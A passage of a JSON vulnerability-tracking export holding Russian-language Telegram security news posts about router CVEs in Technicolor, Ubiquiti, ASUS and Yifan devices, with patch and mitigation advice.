\u043c\u0430\u043b\u044b\u0445 \u043e\u0444\u0438\u0441\u043e\u0432 \u0438 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTP, SSH \u0438\u043b\u0438 Telnet. \u0421 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u043c.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0442\u0447\u0435\u0442\u0443  CERT/CC, \u0448\u043b\u044e\u0437\u043e\u0432\u044b\u0435 \u0440\u043e\u0443\u0442\u0435\u0440\u044b Technicolor TG670 DSL, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 10.5.N.9, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0447\u0435\u0440\u0435\u0437 WAN.\n\n\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0437\u043d\u0430\u044f \u044d\u0442\u0438 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u043e\u0443\u0442\u0435\u0440\u0430.\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-31808 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043f\u043e\u043c\u0438\u043c\u043e \u043f\u0440\u043e\u0447\u0435\u0433\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Technicolor \u0442\u0430\u043a \u0438 \u043d\u0435 \u043e\u0442\u0432\u0435\u0442\u0438\u043b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0438 \u043d\u0435\u044f\u0441\u043d\u043e, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043f\u0430\u0442\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0431\u0430\u0433.", "creation_timestamp": "2023-07-13T20:23:44.000000Z"}, {"uuid": "76a0d8d4-811f-4c6b-a4dd-cecbdd070650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31998", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/4598", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SSD Secure Disclosure \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Ubiquiti EdgeRouter.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a\u00a0CVE-2023-31998 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0441\u043b\u0443\u0436\u0431\u043e\u0439 MiniUPnPd \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ubiquiti EdgeRouter \u0438 AirCube.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u043a\u0443\u0447\u0438 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c SSD Secure Disclosure, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0432 MiniUPnPd \u0431\u044b\u043b \u0437\u0430\u043a\u0440\u044b\u0442, \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043d\u0435 \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d CVE-\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 MiniUPnPd \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043d\u044f Ubiquiti \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u041f\u041e \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 EdgeRouter \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 UPnP (\u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 2.0.9-\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.7) \u0438 AirCube (\u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 2.8.9).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Ubiquiti \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2023-07-10T18:00:06.000000Z"}, {"uuid": "ab9781e1-3e3f-4b3d-92b1-d46cd4576f33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31195", "type": "seen", "source": "https://t.me/true_secator/4523", "content": "\ud83d\udea4 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f ASUS \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u00ab\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c\u0441\u044f\u00bb\n\nASUS \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0441 \u043a\u0443\u043c\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445. \u0412 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \"Latest security updates\" \u043e\u0442 06/19/2023 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u2194\ufe0f \u0412 \u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0435\u0432\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0438\u0435 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u0412 \u0441\u043f\u0438\u0441\u043a\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f CVE-2023-28702, CVE-2023-28703, CVE-2023-31195, CVE-2022-46871, CVE-2022-38105, CVE-2022-35401, CVE-2018-1160, CVE-2022-38393, CVE-2022-26376.\n\n\u0412 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438: GT6, GT-AXE16000, GT-AX11000 PRO, GT-AX6000, GT-AX11000, GS-AX5400, GS-AX3000, XT9, XT8, XT8 V2, RT-AX86U PRO, RT-AX86U, RT-AX86S, RT-AX82U, RT-AX58U, RT-AX3000, TUF-AX6000 \u0438 TUF-AX5400.\n\nhttps://www.asus.com/content/asus-product-security-advisory/#:~:text=06/19/2023%20New%20firmware%20with%20accumulate%20security%20updates\n\n\u270b @Russian_OSINT", "creation_timestamp": "2023-06-21T14:27:19.000000Z"}, {"uuid": "f6f66f9a-4948-4622-9717-84db5598c2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31272", "type": "seen", "source": "https://t.me/true_secator/4958", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Cisco Talos \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043d\u0435\u0441\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 10 0-day, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043e\u0442\u043e\u0432\u044b\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440 Yifan YF325.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Yifan YF325 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\nYifan YF325 \u2014 \u044d\u0442\u043e \u0441\u043e\u0442\u043e\u0432\u043e\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0442\u0438 Wi-Fi \u0438 Ethernet.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, YF325 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 M2M-\u043e\u0431\u043b\u0430\u0441\u0442\u044f\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044b \u0441\u0430\u043c\u043e\u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f, \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442 \u0438 \u0441\u0435\u0442\u0438, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0443\u044e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f\u044e, \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044e, \u0444\u0438\u043d\u0430\u043d\u0441\u044b, POS, \u0432\u043e\u0434\u043e\u0441\u043d\u0430\u0431\u0436\u0435\u043d\u0438\u0435, \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u043a\u0440\u0443\u0436\u0430\u044e\u0449\u0435\u0439 \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u0447\u0442\u0443, \u043f\u043e\u0433\u043e\u0434\u0443, \u0438 \u0442\u0434.\n\n\u0421\u0430\u043c\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 TALOS-2023-1762 (CVE-2023-24479) \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443  CVSS 9,8 \u0438\u0437 10. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0414\u0440\u0443\u0433\u0430\u044f TALOS-2023-1752 (CVE-2023-32645) \u0442\u0430\u043a\u0436\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 TALOS-2023-1767 (CVE-2023-32632) \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 Talos \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430,  \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438, \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n- TALOS-2023-1761\u00a0(CVE-2023-35055 \u0438 CVE-2023-35056),\n- TALOS-2023-1763\u00a0(CVE-2023-34365),\n- TALOS-2023-1764\u00a0(CVE-2023-34346),\n- TALOS-2023-1765\u00a0(CVE-2023-31272),\n- TALOS-2023-1766\u00a0(CVE-2023-34426),\n- TALOS-2023-1787\u00a0(CVE-2023-35965 \u0438 CVE-2023-35966),\n- TALOS-2023-1788\u00a0(CVE-2023-35967 \u0438 CVE-2023-35968).\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u044e\u0442 \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8. \n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 Yifan, \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u00a0\u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 Cisco \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0432\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0440\u0438\u0441\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u0441\u043e \u0441\u0432\u043e\u0435\u0439 